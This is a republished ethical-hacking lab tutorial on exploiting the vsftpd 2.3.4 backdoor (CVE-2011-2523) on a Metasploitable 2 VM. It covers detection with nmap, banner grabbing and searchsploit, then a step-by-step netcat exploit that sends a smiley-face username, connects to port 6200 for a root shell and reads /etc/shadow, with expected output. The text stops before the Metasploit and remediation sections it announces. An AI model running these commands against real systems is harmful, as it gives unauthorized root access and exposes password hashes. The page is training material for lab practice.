π° Originally published on Securityelites β AI Red Team Education β the canonical, fully-updated version of this article.
π§ͺ METASPLOITABLE LAB SERIESFREE
Part of the Metasploitable Lab Series
Lab 5 of 30 Β· 16% complete
β οΈ Lab Environment Only. Metasploitable vsftpd Backdoor Lab β vsftpd 2.3.4 exploitation targets your local Metasploitable 2 VM only. Never test against systems you donβt own.
β Before You Start
- Lab 4 β First Metasploit Module β running your first MSF exploit. This lab introduces the vsftpd backdoor β one of the most famous Metasploitable vulnerabilities and the classic first manually exploitable service.
- Metasploitable 2 VM running Β· Kali Linux Β· nmap Β· netcat Β· msfconsole installed Β· Both VMs on same host-only network segment
The vsftpd 2.3.4 backdoor is the vulnerability that appears in almost every beginner Metasploitable walkthrough β and for good reason. I use it in every introductory lab because it demonstrates three distinct security concepts simultaneously: supply chain attack mechanics, triggered backdoor behaviour, and non-standard port exploitation patterns. Itβs one of the clearest examples of a supply chain attack in open-source software history: an attacker compromised the vsftpd projectβs source code distribution server in 2011 and inserted a backdoor that opens a root shell on port 6200 whenever a username containing a smiley face β:)β is submitted. Understanding this vulnerability teaches three things simultaneously: how supply chain attacks work, how a triggered backdoor differs from a direct service exploit, and how to identify and exploit non-standard ports opened by malware.
π― Lab 5 Objectives
Identify vsftpd 2.3.4 on Metasploitable via Nmap version detection
Understand the backdoor trigger mechanism (smiley face username)
Exploit manually using netcat β no Metasploit needed
Exploit via Metasploit module for comparison
Verify root access and document the finding
β±οΈ 25 min Β· 3 terminal exercises ### π Hacking Lab 35 β Metasploitable vsftpd Backdoor Lab 1. Vulnerability Background β CVE-2011-2523 2. Detection β Nmap and Banner Grabbing 3. Manual Exploitation via Netcat 4. Metasploit Module Exploitation 5. Post-Exploitation and Remediation The vsftpd backdoor is a classic example of a supply chain attack. The full Metasploitable lab series continues with Lab 6 β Samba exploitation. Check open ports first with the Port Scanner Tool.
Vulnerability Background β CVE-2011-2523
In June 2011, the vsftpd 2.3.4 source code package distributed from the projectβs official site was compromised. An attacker had replaced the legitimate source archive with a version containing a backdoor. The backdoor code: when a user logs in with a username ending in the string β:)β (a smiley face), vsftpd opens a bind shell on port 6200 with root privileges. The user never needs to authenticate β triggering the backdoor only requires connecting to port 21 and sending the poisoned username. The legitimate vsftpd 2.3.4 had no such code; only the trojaned package distributed for a period from the official download server contained the backdoor.
THE BACKDOOR CODE (SIMPLIFIED)Copy
What the backdoor does (conceptually)
if username.endswith(β:)β): # smiley face trigger
bind_port = 6200 # open listener on 6200
spawn_shell(β/bin/shβ, uid=0) # root shell, no auth required
Attack flow
- Attacker connects to port 21 (FTP)
- Sends: USER anything:) β smiley triggers backdoor
- vsftpd opens port 6200 with root shell
- Attacker connects to port 6200 β root shell, no password
Why itβs significant
Supply chain attack: legitimate software distribution channel poisoned
No authentication required: trigger + connect = root
Invisible to most AV: installed as part of βlegitimateβ software package
Detection β Nmap and Banner Grabbing
EXERCISE 1 β DETECT vsftpd 2.3.4Copy
Step 1: Confirm FTP service version
nmap -sV -p 21 192.168.56.101
Expected output:
21/tcp open ftp vsftpd 2.3.4
Service Info: Unix
Step 2: Run NSE script β confirms backdoor explicitly
nmap βscript ftp-vsftpd-backdoor -p 21 192.168.56.101
Expected output:
| ftp-vsftpd-backdoor:
| VULNERABLE:
| vsFTPd version 2.3.4 backdoor
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2011-2523
|_ Backdoor listening on port 6200/tcp
Step 3: Banner grab with netcat
nc 192.168.56.101 21
Expected: 220 (vsFTPd 2.3.4)
Step 4: Searchsploit
searchsploit vsftpd 2.3.4
Shows: Unix/Remote vsftpd 2.3.4 β Backdoor Command Execution
My Approach β Why I Banner Grab Before Running NSE: I always manually netcat to port 21 before running the NSE script. If the banner shows β220 (vsFTPd 2.3.4)β I already know itβs vulnerable β the NSE script just confirms it formally for the report. My workflow: banner grab first (10 seconds), searchsploit confirm (10 seconds), then exploit. Iβve found that automated scripts sometimes fail on rate-limited services where manual netcat always works.
Manual Exploitation via Netcat
The manual exploit requires only netcat β no frameworks. This is the technique that demonstrates understanding of what the vulnerability actually does, rather than just running a module blindly.
EXERCISE 2 β MANUAL EXPLOIT WITH NETCATCopy
Terminal 1: Trigger the backdoor via FTP
nc 192.168.56.101 21
You see: 220 (vsFTPd 2.3.4)
USER backdoor:)
Response: 331 Please specify the password.
PASS anything
Port 6200 now open β backdoor triggered
Terminal 2: Connect to the backdoor shell
nc 192.168.56.101 6200
Blank line = shell waiting for commands
id
Expected: uid=0(root) gid=0(root)
hostname
Expected: metasploitable
cat /etc/shadow | head -3
Expected: root password hash β full root access confirmed
Upgrade to interactive shell
python -c βimport pty; pty.spawn(β/bin/bashβ)β
root@metasploitable:/#
securityelites.com
Terminal 1 β Trigger (Port 21) | Terminal 2 β Shell (Port 6200)
TERMINAL 1 β FTP Trigger
$ nc 192.168.56.101 21
220 (vsFTPd 2.3.4)
USER backdoor:)
331 Please specify the password.
PASS anything
[hangs β backdoor triggered]
TERMINAL 2 β Root Shell
$ nc 192.168.56.101 6200
id
uid=0(root) gid=0(root)
hostname
metasploitable
cat /etc/shadow | head -2
root:$1$bku4β¦ β hash
π Read the complete guide on Securityelites β AI Red Team Education
This article continues with deeper technical detail, screenshots, code samples, and an interactive lab walk-through. Read the full article on Securityelites β AI Red Team Education β
This article was originally written and published by the Securityelites β AI Red Team Education team. For more cybersecurity tutorials, ethical hacking guides, and CTF walk-throughs, visit Securityelites β AI Red Team Education.

Top comments (0)